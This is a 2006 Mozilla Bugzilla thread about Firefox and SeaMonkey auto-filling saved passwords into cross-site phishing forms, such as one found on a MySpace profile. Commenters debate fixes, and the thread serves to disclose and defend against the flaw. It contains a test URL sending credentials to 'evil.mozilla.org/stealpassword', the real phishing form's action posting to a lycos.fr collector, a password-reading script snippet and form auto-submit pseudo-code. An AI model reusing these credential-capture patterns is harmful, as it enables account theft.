https://bugzilla.mozilla.org/attachment.cgi?name=joe&password=blow#
... back arrow
(fake name/pw are aleady filled)
Simply click fake form
http://evil.mozilla.org/stealpassword?name=joe&password=blow


I see this in both SeaMonkey 1.05 & SeaMonkey 1.1b
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.7) Gecko/20060910
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.1pre) Gecko/20061123
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060919
(In reply to comment #63)
> *** Using the first testcase on seamonkey 1.05, the test passes.  (i.e.
> indicates that seamonkey is NOT vulnerable.)

Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.1pre) Gecko/20061122 SeaMonkey/1.1b is vulnerable. 
I tested Firefox and Seamonkey on the english security page of german computer magazine c't, and three tests were showing seamonkey not to be sensitive, seemingly because the password manager was too slow filling in the fake inputs.
Then I disabled JS, so the PM could work, and did a reload to fail the test. After reenabling JS I always failed the test.

Article: http://www.heise-security.co.uk/news/81419
Demo: http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml



Would it make sense to normally use an exact match in which case the password can be supplied automatically, but highlight (e.g. back-light the password field box) and require confirmation (via a pop-up next to the password field) for fuzzy matches?

For the immediate future, given that attacks are in the wild and assuming a good solution might take significant time to develop, would it be prudent to implement exact match for now, with a view to relaxing it later.

For information, I tried the demo at Heise from comment #66 with Konqueror (3.5.5) and it failed to steal the password.  However I also tried with FireFox-1.5.0.8, and it failed to steal the password there as well.
OK, I'm a noob to this bug, but why not use a "tainting" approach?  AFAIK, it's not currently possible to use JavaScript to read the content of an <input type="password"> (correct me if I'm wrong) so the primary issue is changing the action attribute of the form.  Why not add a "tainted" flag on the form if any information in that form was supplied by the Password Manager, and then disallow changing the action attribute, or just throw up a big scary warning if anyone tries it.  (Or, prevent it completely and use the Information Bar so that advanced users can enable the functionality as needed.)

Any thoughts?
(In reply to comment #68)
> AFAIK, it's not currently possible to use JavaScript to read the content of an
> <input type="password"> (correct me if I'm wrong) so the primary issue is
> changing the action attribute of the form.

You're wrong (and it's years too late to make it not readable):

data:text/html,<script>window.onload=function(){alert(document.getElementById('f').value=='17')}</script><input%20type="password"%20id="f"%20value="17">

For people who are thinking about commenting, *it's probably best not to*.  There are enough people CC'd here that you'd better be really, really certain that what you have to say is important, hasn't been mentioned already (I can assure you that options, including those posted here, are being considered in fora other than this bug -- Bugzilla's not a good discussion forum when it's as noisy as this bug is), and is worthy of the attention of the 80-odd people who will get email about every change that occurs here.
A couple of points.

1. Why isn't safe browsing detecting the myspace.com/1sweetstar URL as a phishing site? Where can we notify?

2. I know its bad that this attack can occur unknowingly using Password Manager stored password, but it is an equally good psychological exploit where the user would simply type username/password. So this is actually an opportunity to increase security BEYOND what a human could easily do.

3. Aren't the key points to discuss:
a) Password capture (to populate the password list in the first place)
b) Form autocompletion (this is actually the UI to indicate password retrieval, but it also interacts with the DOM for client-side code - see below)
c) Transmission (either as form submit or XMLHttpRequest)

Unfortunately, attempts to interfere with b) are likely to affect existing web applications, but I actually can't think of a better option. eg. if Firefox placed bogus password information into the password form field and replaced it in the actual transmitted post transmission, it would stop any applications trying to do anything client-side with that password field (probably a bad actually). However the bogus password substitution could be used in conjunction with a site list (members of the site list would disable bogus password substitution).

I know this is already a long list of comments - apologies in advance if I've missed someone's earlier suggestion along the same lines.
I don't use javascript surfing web, I've disabled them, so nobody could capture my password manager file. 

If I remember well, Netscape in 1998 had this problem after logged in a reserved area and if I choose to save password in my password list file
I don't use javascript surfing web, I've disabled them, so nobody could capture my password manager file. 

If I remember well, Netscape in 1998 had this problem after logged in a reserved area and if I choose to save password in my password list file
Suggestion to improve the detection of identity of a login page:
Store a fingerprint of the "raw" (as loaded before anything e.g. JS can modify it, without images and probably external CSS) HTML code together with the domain/page address. Inserting a login page into another one will not have the same fingerprint and so the browser can detect that the current page is not the one the password was stored for.
A caveat is that probably each page must be id'ed because form fields may be added by JS. There have to be a consideration between safer and faster surfing at least on older systems but the pure HTML code is normally not that large to have a big impart.
From my experience login pages rarely changes so it may be worth a try. A reasonable webmaster may even support it because it makes it hard to fake the login page.
In reply to Comment #70

2) Please read the entire thread. It has already been noted that it is easy to hide the form in such a way the user will never even be aware he sent his login data. The fake myspace login page noted in the bug report probably hit on this issue by coincidence then by design.
To reiterate: it is possible to steal the users login data with a normal form without any javascript and without the user knowing.

3) The bogus method you suggest will not prevent this exploit since this exploit works on a normal form doing a normal submission. Preventing javascript alterations is a moot point: if javascript is allowed there are many, many more attack vectors on the username and password, some of which can't be stopped without disabling javascript (this is due to design points, not flaws).

This is what I suggest (this is distilled from points made by others, but I'd like to summarize them):
For the next version, lock the password manager to exact page URLs. This will not need any UI changes and can probably be done quickly. This stops this type of attack, but inconveniences some people on sites with changing login URL's. This can't be helped for now.

For a future version where UI changes can be made, keep the exact URL matching or think of secure way to fuzzy match the URL and/or the action URL. For URL's that do not satisfy this match, ask the user to take action. This can be in the form of a dialog or some kind of tool bar button.
You could also change the behavior to always require user action before filling out the form (magic wand or auto completion type) and optionally give an extra warning if the action URL looks suspicious.
I talked to some Safari people (lypanov and othermaciej on #webkit) about this.  They seem to be leaning toward the same solution as sicking and mwu: check the form action host+port+protocol (but not path) in addition to the host+port+protocol of the page containing the form.  I think this is the most reasonable browser-side solution.

They're also considering telling Myspace to filter out password fields and not making any change to the browser.
(In reply to comment #75)
> They seem to be leaning toward the same solution as sicking and mwu: check the
> form action host+port+protocol (but not path) in addition to the
> host+port+protocol of the page containing the form.  I think this is the most
> reasonable browser-side solution.

This protection does not work when the password capture page is on the same domain. The host constraints will be completely satisfied, but your password will still be stolen. The path must be confirmed as well.
I prefer making no changes to Firefox (and Safari).  Here are some of the reasons I prefer doing nothing, rather than checking form action hosts:

* Few sites need this kind of extra protection from browsers.  Sites that care about this kind of attack always care about XSS, and sites that care about XSS usually have tag and attribute whitelists that don't allow password form elements.

* Checking action urls will break a few sites every year as they rearrange their servers and hostnames.  If this happens often, people will not find it odd when password manager fails to fill in a password, and as a result, they'll be more prone to phishing.

* Checking action urls will push some sites to use hacks like "don't fill in the action field until the user submits", which will hurt users with JavaScript disabled.

* Doing nothing makes it very clear to sites what they have to do: don't let user-generated content include password fields.

* Sites that do allow password form elements in user-generated content and care about passwords stored on the same hostname will continue to have issues that encourage them to filter password fields from user-generated content anyway:

  * They'll still have to worry about whether all the CGI scripts on their domain do something sane when given a password form.  What if one of the CGI scripts hosted on the site is the ever-popular "email all the form data to the owner of the page" script?  What if myspace decides to let users upload their own CGI scripts to run in sandboxes?

  * They'll worry that third-party password managers like Gator and RoboForm might not use the same algorithm to determine whether a saved password should be used.

  * They'll worry about semi-phishing against Opera users, assuming Opera's only defense is requiring a click on the "wand" button.
In reply to comment #77
> * Few sites need this kind of extra protection from browsers.  Sites that care
> about this kind of attack always care about XSS, and sites that care about XSS
> usually have tag and attribute whitelists that don't allow password form
> elements.

Does your ISP offer you to have your own web page?
Does your ISP have some form of administration page where you can log in to manage your account?
Is this on the same domain?

In most cases, people will be able to answer yes to all there 3 questions. Which means you can steal the usernames and passwords of other users with your ISP. Which is a great way to do all sorts of nasty stuff. Not to mention that the average user doesn't bother to have more then 1 or 2 password for all his/her stuff. Which means you can probably start to completely impersonate that user.
(In reply to comment #77)
> I prefer making no changes to Firefox (and Safari).  Here are some of the
> reasons I prefer doing nothing, rather than checking form action hosts:

Is there an important reason why passwords should be allowed to cross sites?  I am having trouble understanding the points in comment #77.  From the webmaster point of view, it would seem to create a lot of work and worry.  From the user point of view, it would seem to leave a lack of confidence in the destination of all form data.
(In reply to comment #76)
> > form action host+port+protocol (but not path) in addition to the
> > host+port+protocol of the page containing the form.  I think this is the 
> > most reasonable browser-side solution.
> 
> This protection does not work when the password capture page is on the same
> domain. The host constraints will be completely satisfied, but your password
> will still be stolen. The path must be confirmed as well.

Jeroen has a valid point.  If the browser ignores the possibility of forms appearing at domain.com/~username then the RCSR attack succeeds anywhere domain.com allows logins and ~username has access to GET request logs.  While host+port+protocol satisfies the technical definition of a website, I don't believe it reflects the practical complexities on the web.
We can restrict stuff to method="POST" too if that would help with the "GET requests are logged and logs are shared" issue.
(In reply to comment #81)
> We can restrict stuff to method="POST" too if that would help with the "GET
> requests are logged and logs are shared" issue.

That would certainly limit the burden to webmasters of inner-domain websites who will need to think carefully about where to place their login facilities.

I find this idea interesting, and it deserves some thought.  If forms containing passwords are limited to POST and host+port+protocol, or raise crazy warnings otherwise, what functionality might be lost, and would this be a drawback to any serious webmasters?
(In reply to comment #81)
> We can restrict stuff to method="POST" too if that would help with the "GET
> requests are logged and logs are shared" issue.

I don't think this is sufficient. For example: the german ISP 1&1 provides out of the box web shops, which are reachable under https://ssl.kundenserver.de/<name of the shop>. (Google return >100.000 hits for http://www.google.com/search?q=site%3Assl.kundenserver.de)

So IMHO it is a MUST, to save the path!
(In reply to comment #83)
> https://ssl.kundenserver.de/<name of the shop>. (Google return >100.000 hits

And there's the answer :P  Webmasters who implicitly require per-page credentials.
(In reply to comment #83)
> https://ssl.kundenserver.de/<name of the shop>. (Google return >100.000 hits

But to be fair, these webmasters have the option of salting the field names.
Maybe a stupid question.. but what if I make a page that contains something like:

[form1 action="correct_action.cgi"][input name=secret type=password][/form]
[form2 action="evil_action.cgi"][input name=foo type=hidden][/form]

[javascript: wait for page to load and form to be filled in; foo=secret; auto-sumbit form2]

So in addition to any checking of what to fill in, should be not protect the password element as well? I know a lot of sites use javascript access to double check password entry, but maybe we can do something that allows compares of the password, but not any access to the value of the password field in javascript.

So strcmp("suzy", mypassword); would check the password correctly, but
alert(mypassword); or strcpy(duppass, mypassword") would not give access to the variable.

It might break a few sites but not many I think, and it would still allow the most common use of javascript access to the password field.
With regard to shifting the burden to "webmasters", although webmasters must take care to cover numerous well known and documented attack vectors, it seems a little unfair to expect them to counter a quirk/feature of a password manager of one UA.
Speaking as a webmaster, this kind of problem is difficult to anticipate or test for.

As an example, I was unaware (and still am really) of the methods used by Firefox's password manager. I would've expected it to key on the complete URL -- this seems (IMHO) a reasonable expectation.
Two days ago Don Tanner (#49) asked why this exploit isn't featured on the Mozilla home page. I've read through all of the comments and have yet to read a reply. I've looked through Mozilla and Firefox FAQs and Troubleshooting and found nothing there either. This likely is not the proper forum to discuss this (and if not, please point me in the right direction), but his point is valid.

There are three issues that need to be dealt with:

1) technical issue with the RCSR vulnerability
2) damage control for "non-professional" users
3) public relations

The people discussing this exploit are doing what appears to be a fantastic job of identifying the best approach for #1.

My concern is related to #2 and that in the short-term there are many, many users that will have their accounts compromised. Mozilla needs to proactively alert users about this danger and publicize the mitigation strategy: Turn off Password Manager until this is resolved.

I'm pleased that Mozilla is sharing this with the media but it is NOT going to reach the people that are most likely to need it, the "regular user." 

At a minimum I would expect to see this information on the Mozilla Home Page and the Firefox download pages. Better yet I'd like to have this information sent through the "update" feature - if there is a technical means to allow that.

The Public Relations aspect has not reared its ugly head (yet). The last thing that any of us want is for loyal users to feel that they are dealing with an organization that doesn't care enough about the end-user to do the right thing. That's the reason that we're all here and not over in the other camp, right?

- Drew
Jesse mentioned storing complete post URL is an issue which may break many site. But still Robert Chapin at Comment #80 and many others are insisting on complete URL.

So I am giving an example.
http://wiki.mozilla.org/index.php?title=Special:Userlogin&returnto=Main_Page
it changes depends on from where you came, 
and all process on wiki is handled by http://wiki.mozilla.org/index.php

issue 1:
if we implement save complete URL many wikis will be failing.

issue 2:
if we implement save complete URL.
* at different urls on a site user haveto/will enter and save password
* firefox save uip/pwd/url for each unique combination
* after 30 day (or by security policy) user modify his/her password
* now what is firefox supposed to DO?
a) change all pwd for that site
b) fillin old password, and ask user to change at each URL 


So Question: do we need to break all wikis to fix myspace.com for their mistake.

Myspace should implement (Or ISPs in Comment #78 ) the way geocities or googlepages are implemented.

user login/edit/create at
http://geocities.yahoo.com/
http://pages.google.com/

and the uploaded pages are displayed at
http://userid.googlepages.com/
http://www.geocities.com/userid/

(BTW: this method should be implemented for attachment at bugzilla.mozilla.org also, as we have prob there too)

Or they you just implement Openid (see http://openid.net/ )
and just use http://www.myopenid.com/


Also on corporate intranet it is common to have uid/pwd in one form in one host and login to another host
so all these waring will be annoying
1. Cross-Site Form Element Warning
2. Cross-Site Password Manager Warning
3. Cross-Site Submit Warning
4. Given all the hype about FF2 anti-phishing technology, one might also expect some sort of anti-phishing message ;)

we should be eliminating any popup/alert/prompt message not creating new ones.

Another best option is, 
Form filling should be done the way mentioned in ### Comment #50 ###
Currently firefox will auto fill in uid/pwd with out typing/pulldown username when there only one uid/pwd save for a website.
Changing this will make a behavior which is same as if there is more than one userid per site was stored.


Issue with "magic wand" (Comment #39)
6 years ago when I was using IE, on PC shared by two other friends.
One them installed Gator ("magic frog") to simplify form filling.
I complained immediately about the privacy issue, 
as I was already aware of how to steal hotmail/yahoo userid/password of others at internet cafes and public places
but they did not care!!!
Few days later we came to know one fellow accidentally submitted name/bank acct/ssn of the other to obtain secure credit card which had a non refundable processing charge.

So another wand/frog/wizard will only bring more trouble.
"Less Code Less Bug"
(same, if there was no PM this bug would not have been there)

(In reply to comment #88)
> Two days ago Don Tanner (#49) asked why this exploit isn't featured on the
> Mozilla home page. (comment #49)

Since few days every where in news, it show this as a big issue
http://news.google.com/news?q=firefox
I feel it is just a media hype, 
what will they say about Bug# 230606 and some others if they know

So to clear name, Mozilla should announce this is not a Firefox issue.
but a incomplete sanitizing done at myspace.com
also advise ISPs, sites, webmaster etc. what do to avoid this kind of mistakes

(In reply to comment #89)
> Jesse mentioned storing complete post URL is an issue which may break many
> site. But still Robert Chapin at Comment #80 and many others are insisting on
> complete URL.

I realize there is no perfect solution.  Most of the ideas so far fall into these categories:

- Compare page & action host/port/protocol (Comment #1)
- Add cross-site forms dialogs/anti-phish options (Comment #11)
- Eliminate username auto-fill (Comment #15)
- Add per-page whitelist/learning dialogs (Comment #31)
- Compare page, action, password URL paths (Comment #40)
- Allow only POST for passwords (Comment #81)

Given all of the pros and cons, I think a successful fix will include more than one of these changes.
(In reply to comment #90)
> 
> - Compare page & action host/port/protocol (Comment #1)

Monitoring of form.action between the auto-fill and form submitting would be helpful. 
A warning should be issued when a form.action change (e.g. by javascript) in an auto-filled form is detected.
Is there a case that storing password action *path*, not exact URL (Comment #40), + refusing to auto-fill where the action is "http://something" wouldn't fix?

That way wikis etc. shouldn't break.
This is not really a flaw, The password managers (both in firefox and ie7) are doing exactly what they are supposed to do, they are automatically filling in login forms. They simply fill out the fake form, it's up to the user to submit it!

These fake forms were not made for this "flaw," they were simply made... They don't even take into consideration the possible advantage of this "flaw" (hint: because there is not advantage!)
The user can manually fill in the form just as easily!

If the script can extract passwords from the manager without the user's action, then it would be a security flaw, but this is not a flaw at all. It's doing exactly what it was designed to do. 

You can't expect people to change the way they layout their sites and login forms just because myspace allows extensive user modification. 

You can't expect people to not consider posting forms to a differing domain, just so the password manager would work. It's up to the user to decide if it's a real form or not. In this case, it's up to myspace to fix the problem by not allowing such an extnsive css based modification standard, so such realistic forms can't be created in the first place.

This is NOT a firefox/ie flaw, it's a MySpace flaw!

(In reply to comment #0)
> User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1)
> Gecko/20061010 Firefox/2.0
> Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1)
> Gecko/20061010 Firefox/2.0
> 
> I was shocked today to find an in-the-wild phish that uses nothing more than
> cross-site forms, and also extracts information from the Password Manger!  
> 
> The underlying method was so obvious that it should have raised multiple
> warnings.  There were none at all.
> 
> It was in a MySpace profile that included this tag:
> 
> <form name="2" action="http://membres.lycos.fr/adel88duran/plaguedoctor.php"
> method="post">
> 
> What followed was a nearly perfect-looking MySpace login form that used simple
> HTML and absolute positioning.
> 
> Not only did FireFox fail to raise a warning, it auto-filled my www.myspace.com
> username and password into this form!!  I hope anyone reading this realizes it
> is a security failure for the browser to auto-fill the membres.lycos.fr form
> with credentials from another website.
> 
> I even confirmed in the password manager that I do not have any passwords saved
> for the membres.lycos.fr domain.
> 
> I realize there is a consideration for cross-site functionality on certain
> subdomains.  However, I must say I am shocked that FireFox lacks a warning for
> both the POST element and the Password Manager in this case.
> 
> I would have been thoroughly fooled by this page were it not for a tiny
> formatting error that the phisher overlooked, and could have been easily fixed.
>  An unsuspecting user would only have to click the Login button on this
> legitimate-looking page for the phish to be complete.
> 
> This appears to be a huge problem!  I look forward to your response.
> 
> Robert Chapin
> Chapin Information Services, Inc.
> 
> Reproducible: Always
> 
> Steps to Reproduce:
> 1. Visit http://www.myspace.com/1sweetstar
> 2. If "Invalid friend ID" appears, reload the page.  I found that every-other
> time this URL is visited it will present a login form.  It may be that the
> MySpace servers are propagating a deletion of this phish.
> 3. DO NOT login.  This URL is NOT valid for MySpace logins even though it is
> hosted by myspace.com.
> 4. View the source of this page, or try filling in fake credentials.
> 5. The page at membres.lycos.fr will re-direct you to home.myspace.com after
> stealing your username and password.  The phish is completely transparent.  If
> you are not already logged-in to myspace.com then home.myspace.com should
> re-direct you to login.myspace.com.  This last re-direct is normal.
> 
> More Generally:
> 1. Create two login forms on domain A.  One of them has an action on domain A
> and the other has an action on domain B.
> 2. View the first form at domain A and save a username and password.
> 3. Both forms will now behave the same, except one form is delivering your
> credentials to the correct party, the other is not.
> Actual Results:  
> Cross-site forms behave identically to same-site forms.
> 
> Expected Results:  
> 1. Cross-Site Form Element Warning
> 2. Cross-Site Password Manager Warning
> 3. Cross-Site Submit Warning
> 4. Given all the hype about FF2 anti-phishing technology, one might also expect
> some sort of anti-phishing message ;)
> 
> I can add a copy of the page source, if needed.  However, I suspect this
> problem can be easily confirmed using any two web domains.
> 

(In reply to comment #93)
> This is not really a flaw, The password managers (both in firefox and ie7) are
> doing exactly what they are supposed to do, they are automatically filling in
> login forms. They simply fill out the fake form, it's up to the user to submit
> it!

according to this approach, there was no flaw in allowing phishing attempts? How was the user expected to know there was a problem with myspace?
Pardon the Ignorance, but...
This might be slightly off-topic, but within IE6's Advanced settings tab, all the way at the bottom of the box under the Security section, there's a check box labeled "Warn if forms submittal is being redirected". Could this help mitigate the implications for users of IE? If so, how hard would it be to incorporate a similar feature within the Firefox 2.0.0.x and 1.5.x.x releases? I'm using 1.5.0.8 and see no such option within the Tools, Options... drop down menu. Would it simply be a matter of adding a line in one of the JavaScipt preferences files to add the feature? 

At least that way, the user would be warned that their info would be going to a place other than where the request came from, no matter if it were filled automagically by the pwd manager or manually by the user.
(In reply to comment #95)
> within IE6's Advanced settings tab, all the way at the bottom of the box under the Security section, there's a check box labeled "Warn if forms submittal is being redirected".

That option has no effect that I am aware of :P  It is either broken or it works in a very obscure situation.
Attached image boa.png
Bank of America Cross-Site Form
Attached image cnn.png
CNN Cross-Site Form
Attached image hotmail.png
Hotmail Cross-Site Form
Above attachments shows Cross-Site Form are very common.
It is much more common in cooperate intra-net applications.
So any waring will be annoying.....

(In reply to comment #94)
> (In reply to comment #93)
> > This is not really a flaw, The password managers (both in firefox and ie7) 
> 
> according to this approach, there was no flaw in allowing phishing attempts?
> How was the user expected to know there was a problem with myspace?

flaw is with myspace.com allowing to have form hosted on its site to make a browser send its password to a phishing site.
NOT A FLAW OF BROWSER of its PM 

Only bad thing firefox did is doing username auto-fill 
(if only one userid found for a site)
this should be corrected, 
A work around now to use PM with out auto-fill is 
* try to log in to myspace.com with a dummy id xyz@abc.com 
* and some dummy password, 
* allow to save uid/pwd when prompted by PM
* myspace.com will tell it is wrong ID/pwd
* now login with your actual ID/pwd and save in PM when prompted
* from now on Firefox will not do auto-fill in
* user has to click and select the uid from the list of two
* once uid is selected only pwd filled in

I have read/heard many bad things about myspace.com 
I did not know it is more worse than that till 
I created an id there yesterday.
* first it is making me to publish Date of Birth as default.
* I select to hide DOB
* then an error found while doing sign-up
* it again made publish Date of Birth enabled
* it has a ridiculous password validation!!!!!
* it matching my first name (I have given just "B") 
* to randomly created password with a "b" in it
* and not allowing me to use that random pwd, 
* so I used another random pwd
* even though I asked to hide DOB
* it published the age I have given, 
* and the related star sign
* I also published my place with out asking me
* it was also by default subscribing me to many junk-mail 

So advice is dont use myspace.com, it is a stupid site. 
and I canceled the account in an hour.

this bug should be marked as INVALID 
And Enhancement request should be made for not doing username auto-fill 
(In reply to comment #97)
> Bank of America Cross-Site Form

In my serious opinion, this is an insecure action.  I would not implicitly trust sitekey.bankofamerica.com with a password from a different website, even if it has the same parent.  This is exactly the type of behavior I want to be aware of when I am using the web.
I'm amazed at those of you that are identifying this as a "MySpace" issue. You realize, I hope that the same hack will work on the majority of sites that allow user-created HTML.

There's a boatload of them out there and you're going to see an increase.

But that's still not the issue. My browser *should* alert me when cross-site posting and the like are occurring. If it's not going to then it should be made explicitly clear of this risk prior to my using PM.

AND - why has no action been taken on proactively telling users how to protect themselves while a solution is being identified???

Is there even ONE person here that could point me in the right direction if this is outside of your control?
(In reply to comment #102)
> I'm amazed at those of you that are identifying this as a "MySpace" issue. You
> realize, I hope that the same hack will work on the majority of sites that
> allow user-created HTML.
> There's a boatload of them out there and you're going to see an increase.

I can see this as only MySpace.com issue.
Because we dont what othersites do.
what will you do cookie stealing at a bugzilla.
you just create an attachment with JS and IMG tag to achieve that.
So are you going to tell no IMG tag in attachment?

> But that's still not the issue. My browser *should* alert me when cross-site
> posting and the like are occurring. If it's not going to then it should be made
> explicitly clear of this risk prior to my using PM.

Is W3C standard which blocks cross-site form submitting?
No, intention of web was to link and exchange between different servers easier

If there is a warning, then user is going to get that message all the time on the site which use http://passport.net service. Finally they will ignore other important message also.
What will we do with those web application which switch targets by dropdown to logon? ie, a single form to logon to any server in a company. They all need to re-write that just for myspace.com

> AND - why has no action been taken on proactively telling users how to protect
> themselves while a solution is being identified???

There is no BUG, so no solution needed

> Is there even ONE person here that could point me in the right direction if
> this is outside of your control?

Yes this particular issue is needed to be corrected by MySpace.com 
(In reply to comment #103)
> Is W3C standard which blocks cross-site form submitting?

Let's find out.

http://www.w3.org/TR/html4/interact/forms.html#input-control-types

password
    Like "text", but the input text is rendered in such a way as to hide the characters (e.g., a series of asterisks). This control type is often used for sensitive input such as passwords. Note that the current value is the text entered by the user, not the text rendered by the user agent.

    Note. Application designers should note that this mechanism affords only light security protection. Although the password is masked by user agents from casual observers, it is transmitted to the server in clear text, and may be read by anyone with low-level access to the network.
(In reply to comment #101)
> (In reply to comment #97)
> > Bank of America Cross-Site Form
> 
> In my serious opinion, this is an insecure action.  I would not implicitly
> trust sitekey.bankofamerica.com with a password from a different website, even

i would not have worried if that is a
HTTPS://www.bankofamerica.com to HTTPS://sitekey.bankofamerica.com 
but in this case it is HTTP:// to HTTPS://

> if it has the same parent.  This is exactly the type of behavior I want to be
> aware of when I am using the web.

we allowed this to happen 10 years or more, so suddenly we cant change.
and many times it is useful, this vulnerability is no big deal
as anybody can do watch TCP/IP packets and read all you communication if you are using HTTP, ie, id/pwd on any site, or mails you read at yahoo, gmail, hotmail etc. What are you going to do for that.

Only way I see to keep your passwords safe is use of some thing like OPENID see  http://openid.net/ and https://www.myopenid.com/
( http://openid.net/ http://myopenid.net/ )

(In reply to comment #102)
> I'm amazed at those of you that are identifying this as a "MySpace" issue. You
> realize, I hope that the same hack will work on the majority of sites that
> allow user-created HTML.

You realize, I hope, that allowing arbitrary user-created HTML is a security hole.  The way to close the hole is to limit the user-created HTML to certain limited tags and attributes.

If a word processor allows allows a foreign document from an untrusted source to execute arbitrary file operations on a computer that is a security problem -- and Microsoft Word has had some modifications to restrict macros and virus scanners now exist to check for issues like that.

If an image file format allows for the execution of scripts from an untrusted source that's a security problem -- and Microsoft has made some changes and virus scanners now make some checks.

If a web page allows Javascript and form fields from an untrusted source that's a security problem.  There's no complete way for the browser to tell what is legitimate (see the previous comments about using scripting to extract the password, move it to a different form, and submitting that form).

> There's a boatload of them out there and you're going to see an increase.

There have been numerous security problems caused by web developers doing stupid things.  A short list:  1) Trusting user input as valid (when the users can modify the HTML and submit anything).  2) Sending sensitive information in non-displayed web page source and not expecting users to read the source.  3) Allowing users to add arbitrary HTML and script to web pages.

These happen over and over again, and web developers should know better but don't have sufficient security training or perform sufficient security reviews.

The current issue is a small part of item 3.  Any web developer who lets users add Javascript, or form tags, or events on any tag, to a web page is giving away the keys to the kingdom and the browser can't catch all the problems.

> But that's still not the issue. My browser *should* alert me when cross-site
> posting and the like are occurring. If it's not going to then it should be made
> explicitly clear of this risk prior to my using PM.

As other comments have made clear, many major web sites have been using cross-site posting for a long time and simply adding a warning would quickly train users to ignore another class of warning.

I do think there is room for some approach that takes some sort of signature for a form and lets the user know when it changes, but research is needed to figure out what can be done without generating lots of warnings.

> AND - why has no action been taken on proactively telling users how to protect
> themselves while a solution is being identified???

Firefox should issue an alert, but mention it happens with IE as well.  It's amazing to me that http://www.mozilla.org/security/ has not been updated since July even though there have been security patches since then.

But the primary responsibility is MySpace.  MySpace has mentioned the problems, but I think the announcements should have been worded more strongly (and admitted that they caused the problem).

B.J.
Please remember that this is *not* a MySpace only problem. And that this problem actually extends beyond the range of cross site posting. The problem is also present on ANY webpage that allows users to add content. ANY webhosting company is vulnerable, if they use/allow URL's like webhostname.com/~username.

Please read comment #78 and comment #83. Here you will see two very serious examples (note: 'examples', not 'exhaustive list') of how things can go very wrong very fast.

IMHO the simple domain matching proposed is not going to work. A full path match or a deliberate user action must be made for any automatic filling.

Also, to partially solve the problem mentioned in comment #89, one could exclude the GET parameters from the matching. The issue from #89 would still be present on sites which use a feature like Apache multiviews, but 'normal' sites will still work. Ignoring the GET part of a URL when matching should not be a security flaw.
(In reply to comment #97)
> Bank of America Cross-Site Form

Oops, I just realized that form doesn't have a password field in it.  That form is super cool.  They implemented some sort of mutual authentication system there :)
I think the only good solution seen so far is solution 3 from (In reply to comment #11)

> 3. Password Manager Prompts for Page-Specific Passwords (Optional)
> 
>    Considering websites identified by www.server.com/~username I think Internet
> Explorer is doing a much better job of preventing password leaks by making them
> page-specific.  In fact, this is the only reason IE doesn't have a cross-site
> warning on its password manager.  I'm sure there are many practical
> considerations here, but I would like FireFox to prompt me before auto-filling
> a password I originally entered on a different URL, regardless of which domain.

When i fill in a password at www.server.com/~name1, the password manager shouldnt fill in the same password as www.server.com/~name2. With that, this bug should be solved, without breaking anything. Right?

Optional, the password manager might also want to remember where the password was submitted to last time.
When the first time i fill in the password, and my password is send to http://login.myspace.com/, there is probenbly something wrong when the next password field on the same page tried to submit your password to http://membres.lycos.fr/adel88duran/.

That means, do NOT give a warning when the
action field domain does not match the page domain BUT give a warning when the action field does not match the action field we previous found on this domain.
(In reply to comment #107)
> IMHO the simple domain matching proposed is not going to work. A full path
> match or a deliberate user action must be made for any automatic filling.

Here's a breakdown of our most productive discussion so far, Comments 80 - 85, to make sure everyone is on the same page:

The Internet Protocol separates servers by port number.  HTTP further separates servers by reading a Host: line from the client's request.  So, on one computer you can have any number of ports and hosts.  They are all defined as separate websites and it is assumed they all use different credentials.

The path sent with a client's request is sometimes used by server admins to create virtual websites.  However, because paths are abstract they do not allow for any formal security barriers on the client side.  No algorithm based on MultiViews or directory levels will ever be able to account for the configuration of all virtual websites.

There are only two assumptions that could work here.  Either all paths point to the same website, or all paths point to different websites.

Currently, Internet Explorer assumes all paths point to different websites, and Firefox assumes all paths point to the same website.

The Firefox scheme is valid for two reasons:  #1 In practice, most paths do point to the same website.  #2 Admins of virtual websites that use domain.com/~username already have custom security barriers in place for the upload credentials.  It is reasonable to assume they are aware of any and all related security barrier issues.

The Firefox scheme is invalid for two reasons:  #1 It doesn't check the action address.  By assuming that all pages are on the same website (not always true) and then allowing all pages to send saved passwords *anywhere*, a gaping logic error has been created :)  #2 Firefox allows invisible password forms to be filled and submitted without scripting.  IE doesn't (no autofills).

Firefox and Internet Explorer both also have these two problems:  #1 Passwords, saved or typed, can be sent *anywhere* without warning.  While this behavior is correct by spec (Comment #103), the authentication method is bad by design (see the 1999 W3C proposal for AUTHFORM where "form based credentials" are "forbidden in any new protocol to be considered for the Internet Standards track").  #2 Unlike hyper-links, forms do not cause the status bar to display their destination.  Again, this seems like bad design because the form data can be sent *anywhere*.  There are concerns about the interaction of forms and scripting, but I am sure some restrictions are possible for the sake of anti-phishing.

I haven't mentioned the GET/POST issue so far.  I just came to a decision about it.  In Comment #82 I said that we should think about limiting the method for password submission.  Well, that isn't necessary.

For me, the remaining issue with Jesse's host+port+protocol idea was that the virtual website uploaders could maybe have access to GET logs and see passwords from form submissions.  I've thought it over, and I am not worried about it.

As I mentioned above, admins of domain.com/~username servers have to deal with all sorts of security barrier issues.  Usually, ~username has no scripting access, does not log in directly to http://domain.com and if there are any logs to see, they probably only include filenames.

As for Christian's domain.com/NameOfShop situation, I assume all of the script access is limited to a single merchant admin.  If the users on that domain each had the ability to create their own custom login forms, then there would be all varieties of XSS chaos, which is off-topic.

Lastly, as far as Jesse's idea, "check the form action host+port+protocol (but not path) in addition to the host+port+protocol of the page containing the form."  I think this would solve the immediate phishing problem.  Jesse, can you confirm that this would mean saving both the page info and the action info, even if they are different?  And then only allowing retrieval when the current sets of info match the saved sets of info?

If that gets implemented, and if serious consideration is given to the remaining cross-site issues, then I think we might be able to make everyone happy.
(In reply to comment #110)
> The Firefox scheme is valid for two reasons:  #1 In practice, most paths do
> point to the same website.  #2 Admins of virtual websites that use
> domain.com/~username already have custom security barriers in place for the
> upload credentials.  It is reasonable to assume they are aware of any and all
> related security barrier issues.

#1 is indeed valid. But most != all, so there still needs to be protection.
In #2 the point about having security barriers is valid. However, experience learns us that in practice, these barriers are not perfect. And even if the host of the sites is aware (which generally they are not), the users may not be.

